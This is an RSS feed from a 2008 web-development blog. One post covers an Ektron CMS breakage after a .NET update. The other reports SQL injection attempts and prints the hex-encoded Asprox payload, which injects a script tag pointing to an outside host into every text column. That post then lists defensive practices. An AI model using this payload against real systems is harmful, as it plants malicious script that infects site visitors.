<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>About Web Development by Activo &#187; frankrusch</title>
	<atom:link href="http://www.activoinc.com/blog/author/frankrusch/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.activoinc.com/blog</link>
	<description>Web Development in a Web 2.0 World</description>
	<lastBuildDate>Fri, 29 Jan 2010 17:16:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1</title>
		<link>http://www.activoinc.com/blog/2008/10/06/ektron-cms400-70-issues-with-net-framework-35-sp1/</link>
		<comments>http://www.activoinc.com/blog/2008/10/06/ektron-cms400-70-issues-with-net-framework-35-sp1/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 08:30:42 +0000</pubDate>
		<dc:creator>frankrusch</dc:creator>
				<category><![CDATA[.NET Framework]]></category>
		<category><![CDATA[Ektron]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[CMS400]]></category>
		<category><![CDATA[Ektron CMS]]></category>
		<category><![CDATA[Workarea]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=96</guid>
		<description><![CDATA[After upgrading my development machine with Microsoft .NET Framework 3.5 SP1, I noticed a couple things. First, the installer also updated the .NET Framework 2.0 instance to Service Pack 2.
Second, my instance of Ektron CMS400 v.7.0.4.20 (which runs under .NET Framework 2.0) starting having problems. Specifically, I could no longer create library items in the [...]]]></description>
			<content:encoded><![CDATA[<p>After upgrading my development machine with Microsoft .NET Framework 3.5 SP1, I noticed a couple things. First, the installer also updated the .NET Framework 2.0 instance to Service Pack 2.</p>
<p>Second, my instance of Ektron CMS400 v.7.0.4.20 (which runs under .NET Framework 2.0) starting having problems. Specifically, I could no longer create library items in the workarea. Attempting to save a library item, for example, a hyperlink would cause the page to postback and the icon bar to disappear:</p>
<div id="attachment_98" class="wp-caption alignnone" style="width: 310px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/10/add-library-error.png"><img class="size-medium wp-image-98" title="Error Adding Library" src="http://www.activoinc.com/blog/wp-content/uploads/2008/10/add-library-error-300x238.png" alt="The postback page after attempting to save the library item" width="300" height="238" /></a><p class="wp-caption-text">The postback page after attempting to save the library item</p></div>
<p>There is no error message, but viewing the library item list reveals that the item was not saved.</p>
<p>The culprit was the page /workarea/library.aspx. Viewing the HTML source of this page when attempting to &#8220;Add Library&#8221;, the form tag&#8217;s <strong>action </strong>attribute was:</p>
<pre>library.aspx</pre>
<p>&#8230; no querystring parameters; so when the page posts back in Ektron, it can&#8217;t save the library item and fails.</p>
<p>Viewing the same page on a system without .NET Framework 3.5 SP1 results in an <strong>action </strong>attribute like this:</p>
<pre> library.aspx?LangType=1033&amp;amp;action=AddLibraryItem&amp;amp;folder=98&amp;amp;type=images</pre>
<p>Some background: As it turns out, the <a title=".NET Framework 3.5 SP1 Breaking changes" href="http://www.mostlylucid.co.uk/archive/2008/08/14/know-issues--breaking-changes-in-asp.net-3.5-sp1.aspx" target="_blank">.NET Framework 3.5 SP1 installation changes the way the FORM tag’s ACTION attribute is handled</a>. Prior to this upgrade, ASP.NET would ignore whatever you typed for the form&#8217;s action attribute in the markup. ASP.NET would instead render the action attribute to match the original page request. Starting with SP1, the action attribute is no longer ignored and will be rendered exactly as input.</p>
<p>Ektron, as it turns out, supplied an action attribute in the library.aspx form tag. Until the release of this Service Pack, it was ignored by ASP.NET.</p>
<p>Two possible solutions:</p>
<ul>
<li>Rollback install of .NET Framework 3.5 SP1 &#8211; <a title="Rollback .NET Framework 3.5 SP1" href="http://blogs.msdn.com/astebner/archive/2008/08/01/8803442.aspx" target="_blank">this is a somewhat complicated process</a>.</li>
<li>Remove the form tag&#8217;s action attribute in /workarea/library.aspx.</li>
</ul>
<p>This may not be an issue in Ektron CMS400 7.5+, but users of v7.0 should be wary, even if they&#8217;re not planning on upgrading .NET Framework 3.5 SP1&#8230; <a title=".NET Framework 3.5 SP1 in Windows Update" href="http://www.hanselman.com/blog/UpdateOnNETFramework35SP1AndWindowsUpdate.aspx" target="_blank">Windows Update may upgrade you automatically around November of this year.</a></p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>July 30, 2008 -- <a href="http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/" title="Ektron: Clarification on User Controls vs API">Ektron: Clarification on User Controls vs API</a> (0)</li><li>January 7, 2009 -- <a href="http://www.activoinc.com/blog/2009/01/07/2009-the-year-of-open-source-software/" title="2009, the year of Open Source Software">2009, the year of Open Source Software</a> (0)</li><li>December 7, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/07/a-list-of-cms-ecommerce-and-blogging-systems-that-officially-support-jquery/" title="A list of CMS and eCommerce systems that officially support jQuery">A list of CMS and eCommerce systems that officially support jQuery</a> (2)</li><li>September 5, 2008 -- <a href="http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/" title="Joomla vs Ektron">Joomla vs Ektron</a> (2)</li><li>November 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/11/03/jquery-emerges-as-most-popular-javascript-library-for-web-development/" title="jQuery Emerges as Most Popular Javascript Library for Web Development">jQuery Emerges as Most Popular Javascript Library for Web Development</a> (2)</li><li>August 19, 2008 -- <a href="http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/" title="Hack attempt: SQL Injection Tagreting MS SQL Servers">Hack attempt: SQL Injection Tagreting MS SQL Servers</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/10/06/ektron-cms400-70-issues-with-net-framework-35-sp1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hack attempt: SQL Injection Tagreting MS SQL Servers</title>
		<link>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/</link>
		<comments>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 21:34:14 +0000</pubDate>
		<dc:creator>frankrusch</dc:creator>
				<category><![CDATA[.NET Framework]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MS SQL Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SQL Injection Attack]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=27</guid>
		<description><![CDATA[ 
I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.
Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> Normal   0               false   false   false      EN-US   X-NONE   X-NONE                                                     MicrosoftInternetExplorer4 </xml><![endif]--><!--[if gte mso 9]><xml> </xml><![endif]--> <!--[if gte mso 10]></p>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman","serif";}
</style>
<p><![endif]--></p>
<p>I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.</p>
<p>Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)</p>
<p>DECLARE @S VARCHAR(4000);SET @S=CAST(0&#215;4445434C4152452040542<br />
05641524348415228323535292C4043205641524348415228323535292<br />
04445434C415245205461626C655F437572736F7220435552534F52204<br />
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2<br />
07379736F626A6563747320612C737973636F6C756D6E7320622057484<br />
5524520612E69643D622E696420414E4420612E78747970653D2775272<br />
0414E442028622E78747970653D3939204F5220622E78747970653D333<br />
5204F5220622E78747970653D323331204F5220622E78747970653D313<br />
63729204F50454E205461626C655F437572736F72204645544348204E4<br />
558542046524F4D205461626C655F437572736F7220494E544F2040542<br />
C4043205748494C4528404046455443485F5354415455533D302920424<br />
547494E20455845432827555044415445205B272B40542B275D2053455<br />
4205B272B40432B275D3D525452494D28434F4E5645525428564152434<br />
841522834303030292C5B272B40432B275D29292B27273C73637269707<br />
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73<br />
3E3C2F7363726970743E27272729204645544348204E4558542046524F4<br />
D205461626C655F437572736F7220494E544F2040542C404320454E4420<br />
434C4F5345205461626C655F437572736F72204445414C4C4F434154452<br />
05461626C655F437572736F7220 AS VARCHAR(4000));</p>
<p>print @S;</p>
<p>This particular attack is well known and has been sighted in several variants:</p>
<p><a href="http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx">http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</a></p>
<p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx">http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx</a></p>
<p>Using the following web application best practices, we avoid getting hacked:</p>
<ul>
<li>Application level:
<ul>
<li>Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.</li>
<li>Always use Stored Procedures and/or Parameterized database queries. Don&#8217;t build SQL queries using string concatenation.</li>
<li>Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.</li>
</ul>
</li>
<li>Database level:
<ul>
<li>Use limited database permissions. For example, for SQL Server, don&#8217;t let you application run under the &#8220;sa&#8221; user. The database user should only have permission in the particular database used by the application.</li>
<li>If possible, disable extended stored procedures such as xp_cmdshell.</li>
<li>Don&#8217;t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.<br />
Some DBAs have server-wide policies of no Dynamic SQL.</li>
</ul>
</li>
</ul>
<ul>
<li>Web server level:
<ul>
<li>If appropriate, filter requests. IIS 7 offers requestFiltering options. <a href="http://msdn.microsoft.com/en-us/library/ms689462.aspx">http://msdn.microsoft.com/en-us/library/ms689462.aspx</a><br />
For example, the maxQueryString parameter could be used to block the exploit attempt above.</li>
<li>For II6: <a href="http://technet.microsoft.com/en-us/security/cc242650.aspx">http://technet.microsoft.com/en-us/security/cc242650.aspx</a></li>
</ul>
</li>
<li>Miscellaneous
<ul>
<li>Install security patches as soon as they become available.</li>
</ul>
</li>
</ul>
<p>The application level is crucial. Since a web application may someday be moved to a new server, we can&#8217;t assume that the web server and database have been configured using best practices.</p>
<p>All layers of security are important, though: If you&#8217;re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.</p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>March 25, 2009 -- <a href="http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/" title="Tightening up iptables for a dedicated DB server (MySQL and CentOS)">Tightening up iptables for a dedicated DB server (MySQL and CentOS)</a> (1)</li><li>January 7, 2009 -- <a href="http://www.activoinc.com/blog/2009/01/07/2009-the-year-of-open-source-software/" title="2009, the year of Open Source Software">2009, the year of Open Source Software</a> (0)</li><li>December 7, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/07/a-list-of-cms-ecommerce-and-blogging-systems-that-officially-support-jquery/" title="A list of CMS and eCommerce systems that officially support jQuery">A list of CMS and eCommerce systems that officially support jQuery</a> (2)</li><li>December 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/" title="Securing Joomla! CMS based sites">Securing Joomla! CMS based sites</a> (0)</li><li>November 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/11/03/jquery-emerges-as-most-popular-javascript-library-for-web-development/" title="jQuery Emerges as Most Popular Javascript Library for Web Development">jQuery Emerges as Most Popular Javascript Library for Web Development</a> (2)</li><li>October 6, 2008 -- <a href="http://www.activoinc.com/blog/2008/10/06/ektron-cms400-70-issues-with-net-framework-35-sp1/" title="Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1">Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1</a> (2)</li><li>September 5, 2008 -- <a href="http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/" title="Joomla vs Ektron">Joomla vs Ektron</a> (2)</li><li>July 30, 2008 -- <a href="http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/" title="Ektron: Clarification on User Controls vs API">Ektron: Clarification on User Controls vs API</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
